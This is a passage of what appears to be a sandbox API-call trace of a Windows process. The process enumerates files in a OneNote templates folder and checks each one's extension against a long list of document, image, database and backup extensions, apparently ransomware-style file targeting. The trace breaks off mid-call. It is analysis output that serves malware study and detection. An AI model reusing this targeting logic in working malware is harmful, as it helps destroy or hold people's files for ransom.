lstrlenW (lpString="Stationery") returned 10 [0145.407] lstrcmpiW (lpString1="C:\\Windows", lpString2="Stationery") returned -1 [0145.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x41e77c8 [0145.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned 70 [0145.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.407] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.407] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0145.407] lstrlenW (lpString="ACADEMIC.ONE") returned 12 [0145.407] lstrlenW (lpString=".1cd") returned 4 [0145.407] lstrcmpiW (lpString1=".1cd", lpString2=".ONE") returned -1 [0145.407] lstrlenW (lpString=".3ds") returned 4 [0145.407] lstrcmpiW (lpString1=".3ds", lpString2=".ONE") returned -1 [0145.407] lstrlenW (lpString=".3fr") returned 4 [0145.407] lstrcmpiW (lpString1=".3fr", lpString2=".ONE") returned -1 [0145.407] lstrlenW (lpString=".3g2") returned 4 [0145.407] lstrcmpiW (lpString1=".3g2", lpString2=".ONE") returned -1 [0145.407] lstrlenW (lpString=".3gp") returned 4 [0145.407] lstrcmpiW (lpString1=".3gp", lpString2=".ONE") returned -1 [0145.407] lstrlenW (lpString=".7z") returned 3 [0145.407] lstrcmpiW (lpString1=".7z", lpString2="ONE") returned -1 [0145.407] lstrlenW (lpString=".accda") returned 6 [0145.407] lstrcmpiW (lpString1=".accda", lpString2="IC.ONE") returned -1 [0145.407] lstrlenW (lpString=".accdb") returned 6 [0145.407] lstrcmpiW (lpString1=".accdb", lpString2="IC.ONE") returned -1 [0145.407] lstrlenW (lpString=".accdc") returned 6 [0145.407] lstrcmpiW (lpString1=".accdc", lpString2="IC.ONE") returned -1 [0145.408] lstrlenW (lpString=".accde") returned 6 [0145.408] lstrcmpiW (lpString1=".accde", lpString2="IC.ONE") returned -1 [0145.408] lstrlenW (lpString=".accdt") returned 6 [0145.408] lstrcmpiW (lpString1=".accdt", lpString2="IC.ONE") returned -1 [0145.408] lstrlenW (lpString=".accdw") returned 6 [0145.408] lstrcmpiW (lpString1=".accdw", lpString2="IC.ONE") returned -1 [0145.408] lstrlenW (lpString=".adb") returned 4 [0145.408] lstrcmpiW (lpString1=".adb", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".adp") returned 4 [0145.408] lstrcmpiW (lpString1=".adp", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".ai") returned 3 [0145.408] lstrcmpiW (lpString1=".ai", lpString2="ONE") returned -1 [0145.408] lstrlenW (lpString=".ai3") returned 4 [0145.408] lstrcmpiW (lpString1=".ai3", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".ai4") returned 4 [0145.408] lstrcmpiW (lpString1=".ai4", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".ai5") returned 4 [0145.408] lstrcmpiW (lpString1=".ai5", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".ai6") returned 4 [0145.408] lstrcmpiW (lpString1=".ai6", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".ai7") returned 4 [0145.408] lstrcmpiW (lpString1=".ai7", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".ai8") returned 4 [0145.408] lstrcmpiW (lpString1=".ai8", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".anim") returned 5 [0145.408] lstrcmpiW (lpString1=".anim", lpString2="C.ONE") returned -1 [0145.408] lstrlenW (lpString=".arw") returned 4 [0145.408] lstrcmpiW (lpString1=".arw", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".as") returned 3 [0145.408] lstrcmpiW (lpString1=".as", lpString2="ONE") returned -1 [0145.408] lstrlenW (lpString=".asa") returned 4 [0145.408] lstrcmpiW (lpString1=".asa", lpString2=".ONE") returned -1 [0145.408] lstrlenW (lpString=".asc") returned 4 [0145.408] lstrcmpiW (lpString1=".asc", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".ascx") returned 5 [0145.409] lstrcmpiW (lpString1=".ascx", lpString2="C.ONE") returned -1 [0145.409] lstrlenW (lpString=".asm") returned 4 [0145.409] lstrcmpiW (lpString1=".asm", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".asmx") returned 5 [0145.409] lstrcmpiW (lpString1=".asmx", lpString2="C.ONE") returned -1 [0145.409] lstrlenW (lpString=".asp") returned 4 [0145.409] lstrcmpiW (lpString1=".asp", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".aspx") returned 5 [0145.409] lstrcmpiW (lpString1=".aspx", lpString2="C.ONE") returned -1 [0145.409] lstrlenW (lpString=".asr") returned 4 [0145.409] lstrcmpiW (lpString1=".asr", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".asx") returned 4 [0145.409] lstrcmpiW (lpString1=".asx", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".avi") returned 4 [0145.409] lstrcmpiW (lpString1=".avi", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".avs") returned 4 [0145.409] lstrcmpiW (lpString1=".avs", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".backup") returned 7 [0145.409] lstrcmpiW (lpString1=".backup", lpString2="MIC.ONE") returned -1 [0145.409] lstrlenW (lpString=".bak") returned 4 [0145.409] lstrcmpiW (lpString1=".bak", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".bay") returned 4 [0145.409] lstrcmpiW (lpString1=".bay", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".bd") returned 3 [0145.409] lstrcmpiW (lpString1=".bd", lpString2="ONE") returned -1 [0145.409] lstrlenW (lpString=".bin") returned 4 [0145.409] lstrcmpiW (lpString1=".bin", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".bmp") returned 4 [0145.409] lstrcmpiW (lpString1=".bmp", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".bz2") returned 4 [0145.409] lstrcmpiW (lpString1=".bz2", lpString2=".ONE") returned -1 [0145.409] lstrlenW (lpString=".c") returned 2 [0145.409] lstrcmpiW (lpString1=".c", lpString2="NE") returned -1 [0145.409] lstrlenW (lpString=".cdr") returned 4 [0145.410] lstrcmpiW (lpString1=".cdr", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".cer") returned 4 [0145.410] lstrcmpiW (lpString1=".cer", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".cf") returned 3 [0145.410] lstrcmpiW (lpString1=".cf", lpString2="ONE") returned -1 [0145.410] lstrlenW (lpString=".cfc") returned 4 [0145.410] lstrcmpiW (lpString1=".cfc", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".cfm") returned 4 [0145.410] lstrcmpiW (lpString1=".cfm", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".cfml") returned 5 [0145.410] lstrcmpiW (lpString1=".cfml", lpString2="C.ONE") returned -1 [0145.410] lstrlenW (lpString=".cfu") returned 4 [0145.410] lstrcmpiW (lpString1=".cfu", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".chm") returned 4 [0145.410] lstrcmpiW (lpString1=".chm", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".cin") returned 4 [0145.410] lstrcmpiW (lpString1=".cin", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".class") returned 6 [0145.410] lstrcmpiW (lpString1=".class", lpString2="IC.ONE") returned -1 [0145.410] lstrlenW (lpString=".clx") returned 4 [0145.410] lstrcmpiW (lpString1=".clx", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".config") returned 7 [0145.410] lstrcmpiW (lpString1=".config", lpString2="MIC.ONE") returned -1 [0145.410] lstrlenW (lpString=".cpp") returned 4 [0145.410] lstrcmpiW (lpString1=".cpp", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".cr2") returned 4 [0145.410] lstrcmpiW (lpString1=".cr2", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".crt") returned 4 [0145.410] lstrcmpiW (lpString1=".crt", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".crw") returned 4 [0145.410] lstrcmpiW (lpString1=".crw", lpString2=".ONE") returned -1 [0145.410] lstrlenW (lpString=".cs") returned 3 [0145.410] lstrcmpiW (lpString1=".cs", lpString2="ONE") returned -1 [0145.410] lstrlenW (lpString=".css") returned 4 [0145.410] lstrcmpiW (lpString1=".css", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".csv") returned 4 [0145.411] lstrcmpiW (lpString1=".csv", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".cub") returned 4 [0145.411] lstrcmpiW (lpString1=".cub", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dae") returned 4 [0145.411] lstrcmpiW (lpString1=".dae", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dat") returned 4 [0145.411] lstrcmpiW (lpString1=".dat", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".db") returned 3 [0145.411] lstrcmpiW (lpString1=".db", lpString2="ONE") returned -1 [0145.411] lstrlenW (lpString=".dbf") returned 4 [0145.411] lstrcmpiW (lpString1=".dbf", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dbx") returned 4 [0145.411] lstrcmpiW (lpString1=".dbx", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dc3") returned 4 [0145.411] lstrcmpiW (lpString1=".dc3", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dcm") returned 4 [0145.411] lstrcmpiW (lpString1=".dcm", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dcr") returned 4 [0145.411] lstrcmpiW (lpString1=".dcr", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".der") returned 4 [0145.411] lstrcmpiW (lpString1=".der", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dib") returned 4 [0145.411] lstrcmpiW (lpString1=".dib", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dic") returned 4 [0145.411] lstrcmpiW (lpString1=".dic", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".dif") returned 4 [0145.411] lstrcmpiW (lpString1=".dif", lpString2=".ONE") returned -1 [0145.411] lstrlenW (lpString=".divx") returned 5 [0145.411] lstrcmpiW (lpString1=".divx", lpString2="C.ONE") returned -1 [0145.411] lstrlenW (lpString=".djvu") returned 5 [0145.411] lstrcmpiW (lpString1=".djvu", lpString2="C.ONE") returned -1 [0145.411] lstrlenW (lpString=".dng") returned 4 [0145.412] lstrcmpiW (lpString1=".dng", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".doc") returned 4 [0145.412] lstrcmpiW (lpString1=".doc", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".docm") returned 5 [0145.412] lstrcmpiW (lpString1=".docm", lpString2="C.ONE") returned -1 [0145.412] lstrlenW (lpString=".docx") returned 5 [0145.412] lstrcmpiW (lpString1=".docx", lpString2="C.ONE") returned -1 [0145.412] lstrlenW (lpString=".dot") returned 4 [0145.412] lstrcmpiW (lpString1=".dot", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".dotm") returned 5 [0145.412] lstrcmpiW (lpString1=".dotm", lpString2="C.ONE") returned -1 [0145.412] lstrlenW (lpString=".dotx") returned 5 [0145.412] lstrcmpiW (lpString1=".dotx", lpString2="C.ONE") returned -1 [0145.412] lstrlenW (lpString=".dpx") returned 4 [0145.412] lstrcmpiW (lpString1=".dpx", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".dqy") returned 4 [0145.412] lstrcmpiW (lpString1=".dqy", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".dsn") returned 4 [0145.412] lstrcmpiW (lpString1=".dsn", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".dt") returned 3 [0145.412] lstrcmpiW (lpString1=".dt", lpString2="ONE") returned -1 [0145.412] lstrlenW (lpString=".dtd") returned 4 [0145.412] lstrcmpiW (lpString1=".dtd", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".dwg") returned 4 [0145.412] lstrcmpiW (lpString1=".dwg", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".dwt") returned 4 [0145.412] lstrcmpiW (lpString1=".dwt", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".dx") returned 3 [0145.412] lstrcmpiW (lpString1=".dx", lpString2="ONE") returned -1 [0145.412] lstrlenW (lpString=".dxf") returned 4 [0145.412] lstrcmpiW (lpString1=".dxf", lpString2=".ONE") returned -1 [0145.412] lstrlenW (lpString=".edml") returned 5 [0145.412] lstrcmpiW (lpString1=".edml", lpString2="C.ONE") returned -1 [0145.412] lstrlenW (lpString=".efd") returned 4 [0145.413] lstrcmpiW (lpString1=".efd", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".elf") returned 4 [0145.413] lstrcmpiW (lpString1=".elf", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".emf") returned 4 [0145.413] lstrcmpiW (lpString1=".emf", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".emz") returned 4 [0145.413] lstrcmpiW (lpString1=".emz", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".epf") returned 4 [0145.413] lstrcmpiW (lpString1=".epf", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".eps") returned 4 [0145.413] lstrcmpiW (lpString1=".eps", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".epsf") returned 5 [0145.413] lstrcmpiW (lpString1=".epsf", lpString2="C.ONE") returned -1 [0145.413] lstrlenW (lpString=".epsp") returned 5 [0145.413] lstrcmpiW (lpString1=".epsp", lpString2="C.ONE") returned -1 [0145.413] lstrlenW (lpString=".erf") returned 4 [0145.413] lstrcmpiW (lpString1=".erf", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".exr") returned 4 [0145.413] lstrcmpiW (lpString1=".exr", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".f4v") returned 4 [0145.413] lstrcmpiW (lpString1=".f4v", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".fido") returned 5 [0145.413] lstrcmpiW (lpString1=".fido", lpString2="C.ONE") returned -1 [0145.413] lstrlenW (lpString=".flm") returned 4 [0145.413] lstrcmpiW (lpString1=".flm", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".flv") returned 4 [0145.413] lstrcmpiW (lpString1=".flv", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".frm") returned 4 [0145.413] lstrcmpiW (lpString1=".frm", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".fxg") returned 4 [0145.413] lstrcmpiW (lpString1=".fxg", lpString2=".ONE") returned -1 [0145.413] lstrlenW (lpString=".geo") returned 4 [0145.413] lstrcmpiW (lpString1=".geo", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".gif") returned 4 [0145.414] lstrcmpiW (lpString1=".gif", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".grs") returned 4 [0145.414] lstrcmpiW (lpString1=".grs", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".gz") returned 3 [0145.414] lstrcmpiW (lpString1=".gz", lpString2="ONE") returned -1 [0145.414] lstrlenW (lpString=".h") returned 2 [0145.414] lstrcmpiW (lpString1=".h", lpString2="NE") returned -1 [0145.414] lstrlenW (lpString=".hdr") returned 4 [0145.414] lstrcmpiW (lpString1=".hdr", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".hpp") returned 4 [0145.414] lstrcmpiW (lpString1=".hpp", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".hta") returned 4 [0145.414] lstrcmpiW (lpString1=".hta", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".htc") returned 4 [0145.414] lstrcmpiW (lpString1=".htc", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".htm") returned 4 [0145.414] lstrcmpiW (lpString1=".htm", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".html") returned 5 [0145.414] lstrcmpiW (lpString1=".html", lpString2="C.ONE") returned -1 [0145.414] lstrlenW (lpString=".icb") returned 4 [0145.414] lstrcmpiW (lpString1=".icb", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".ics") returned 4 [0145.414] lstrcmpiW (lpString1=".ics", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".iff") returned 4 [0145.414] lstrcmpiW (lpString1=".iff", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".inc") returned 4 [0145.414] lstrcmpiW (lpString1=".inc", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".indd") returned 5 [0145.414] lstrcmpiW (lpString1=".indd", lpString2="C.ONE") returned -1 [0145.414] lstrlenW (lpString=".ini") returned 4 [0145.414] lstrcmpiW (lpString1=".ini", lpString2=".ONE") returned -1 [0145.414] lstrlenW (lpString=".iqy") returned 4 [0145.414] lstrcmpiW (lpString1=".iqy", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".j2c") returned 4 [0145.415] lstrcmpiW (lpString1=".j2c", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".j2k") returned 4 [0145.415] lstrcmpiW (lpString1=".j2k", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".java") returned 5 [0145.415] lstrcmpiW (lpString1=".java", lpString2="C.ONE") returned -1 [0145.415] lstrlenW (lpString=".jp2") returned 4 [0145.415] lstrcmpiW (lpString1=".jp2", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".jpc") returned 4 [0145.415] lstrcmpiW (lpString1=".jpc", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".jpe") returned 4 [0145.415] lstrcmpiW (lpString1=".jpe", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".jpeg") returned 5 [0145.415] lstrcmpiW (lpString1=".jpeg", lpString2="C.ONE") returned -1 [0145.415] lstrlenW (lpString=".jpf") returned 4 [0145.415] lstrcmpiW (lpString1=".jpf", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".jpg") returned 4 [0145.415] lstrcmpiW (lpString1=".jpg", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".jpx") returned 4 [0145.415] lstrcmpiW (lpString1=".jpx", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".js") returned 3 [0145.415] lstrcmpiW (lpString1=".js", lpString2="ONE") returned -1 [0145.415] lstrlenW (lpString=".jsf") returned 4 [0145.415] lstrcmpiW (lpString1=".jsf", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".json") returned 5 [0145.415] lstrcmpiW (lpString1=".json", lpString2="C.ONE") returned -1 [0145.415] lstrlenW (lpString=".jsp") returned 4 [0145.415] lstrcmpiW (lpString1=".jsp", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".kdc") returned 4 [0145.415] lstrcmpiW (lpString1=".kdc", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".kmz") returned 4 [0145.415] lstrcmpiW (lpString1=".kmz", lpString2=".ONE") returned -1 [0145.415] lstrlenW (lpString=".kwm") returned 4 [0145.416] lstrcmpiW (lpString1=".kwm", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".lasso") returned 6 [0145.416] lstrcmpiW (lpString1=".lasso", lpString2="IC.ONE") returned -1 [0145.416] lstrlenW (lpString=".lbi") returned 4 [0145.416] lstrcmpiW (lpString1=".lbi", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".lgf") returned 4 [0145.416] lstrcmpiW (lpString1=".lgf", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".lgp") returned 4 [0145.416] lstrcmpiW (lpString1=".lgp", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".log") returned 4 [0145.416] lstrcmpiW (lpString1=".log", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".m1v") returned 4 [0145.416] lstrcmpiW (lpString1=".m1v", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".m4a") returned 4 [0145.416] lstrcmpiW (lpString1=".m4a", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".m4v") returned 4 [0145.416] lstrcmpiW (lpString1=".m4v", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".max") returned 4 [0145.416] lstrcmpiW (lpString1=".max", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".md") returned 3 [0145.416] lstrcmpiW (lpString1=".md", lpString2="ONE") returned -1 [0145.416] lstrlenW (lpString=".mda") returned 4 [0145.416] lstrcmpiW (lpString1=".mda", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".mdb") returned 4 [0145.416] lstrcmpiW (lpString1=".mdb", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".mde") returned 4 [0145.416] lstrcmpiW (lpString1=".mde", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".mdf") returned 4 [0145.416] lstrcmpiW (lpString1=".mdf", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".mdw") returned 4 [0145.416] lstrcmpiW (lpString1=".mdw", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".mef") returned 4 [0145.416] lstrcmpiW (lpString1=".mef", lpString2=".ONE") returned -1 [0145.416] lstrlenW (lpString=".mft") returned 4 [0145.417] lstrcmpiW (lpString1=".mft", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mfw") returned 4 [0145.417] lstrcmpiW (lpString1=".mfw", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mht") returned 4 [0145.417] lstrcmpiW (lpString1=".mht", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mhtml") returned 6 [0145.417] lstrcmpiW (lpString1=".mhtml", lpString2="IC.ONE") returned -1 [0145.417] lstrlenW (lpString=".mka") returned 4 [0145.417] lstrcmpiW (lpString1=".mka", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mkidx") returned 6 [0145.417] lstrcmpiW (lpString1=".mkidx", lpString2="IC.ONE") returned -1 [0145.417] lstrlenW (lpString=".mkv") returned 4 [0145.417] lstrcmpiW (lpString1=".mkv", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mos") returned 4 [0145.417] lstrcmpiW (lpString1=".mos", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mov") returned 4 [0145.417] lstrcmpiW (lpString1=".mov", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mp3") returned 4 [0145.417] lstrcmpiW (lpString1=".mp3", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mp4") returned 4 [0145.417] lstrcmpiW (lpString1=".mp4", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mpeg") returned 5 [0145.417] lstrcmpiW (lpString1=".mpeg", lpString2="C.ONE") returned -1 [0145.417] lstrlenW (lpString=".mpg") returned 4 [0145.417] lstrcmpiW (lpString1=".mpg", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mpv") returned 4 [0145.417] lstrcmpiW (lpString1=".mpv", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mrw") returned 4 [0145.417] lstrcmpiW (lpString1=".mrw", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".msg") returned 4 [0145.417] lstrcmpiW (lpString1=".msg", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".mxl") returned 4 [0145.417] lstrcmpiW (lpString1=".mxl", lpString2=".ONE") returned -1 [0145.417] lstrlenW (lpString=".myd") returned 4 [0145.418] lstrcmpiW (lpString1=".myd", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".myi") returned 4 [0145.418] lstrcmpiW (lpString1=".myi", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".nef") returned 4 [0145.418] lstrcmpiW (lpString1=".nef", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".nrw") returned 4 [0145.418] lstrcmpiW (lpString1=".nrw", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".obj") returned 4 [0145.418] lstrcmpiW (lpString1=".obj", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".odb") returned 4 [0145.418] lstrcmpiW (lpString1=".odb", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".odc") returned 4 [0145.418] lstrcmpiW (lpString1=".odc", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".odm") returned 4 [0145.418] lstrcmpiW (lpString1=".odm", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".odp") returned 4 [0145.418] lstrcmpiW (lpString1=".odp", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".ods") returned 4 [0145.418] lstrcmpiW (lpString1=".ods", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".oft") returned 4 [0145.418] lstrcmpiW (lpString1=".oft", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".one") returned 4 [0145.418] lstrcmpiW (lpString1=".one", lpString2=".ONE") returned 0 [0145.418] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x2b428, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLANK.ONE", cAlternateFileName="")) returned 1 [0145.418] lstrlenW (lpString="BLANK.ONE") returned 9 [0145.418] lstrlenW (lpString=".1cd") returned 4 [0145.418] lstrcmpiW (lpString1=".1cd", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".3ds") returned 4 [0145.418] lstrcmpiW (lpString1=".3ds", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".3fr") returned 4 [0145.418] lstrcmpiW (lpString1=".3fr", lpString2=".ONE") returned -1 [0145.418] lstrlenW (lpString=".3g2") returned 4 [0145.419] lstrcmpiW (lpString1=".3g2", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".3gp") returned 4 [0145.419] lstrcmpiW (lpString1=".3gp", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".7z") returned 3 [0145.419] lstrcmpiW (lpString1=".7z", lpString2="ONE") returned -1 [0145.419] lstrlenW (lpString=".accda") returned 6 [0145.419] lstrcmpiW (lpString1=".accda", lpString2="NK.ONE") returned -1 [0145.419] lstrlenW (lpString=".accdb") returned 6 [0145.419] lstrcmpiW (lpString1=".accdb", lpString2="NK.ONE") returned -1 [0145.419] lstrlenW (lpString=".accdc") returned 6 [0145.419] lstrcmpiW (lpString1=".accdc", lpString2="NK.ONE") returned -1 [0145.419] lstrlenW (lpString=".accde") returned 6 [0145.419] lstrcmpiW (lpString1=".accde", lpString2="NK.ONE") returned -1 [0145.419] lstrlenW (lpString=".accdt") returned 6 [0145.419] lstrcmpiW (lpString1=".accdt", lpString2="NK.ONE") returned -1 [0145.419] lstrlenW (lpString=".accdw") returned 6 [0145.419] lstrcmpiW (lpString1=".accdw", lpString2="NK.ONE") returned -1 [0145.419] lstrlenW (lpString=".adb") returned 4 [0145.419] lstrcmpiW (lpString1=".adb", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".adp") returned 4 [0145.419] lstrcmpiW (lpString1=".adp", 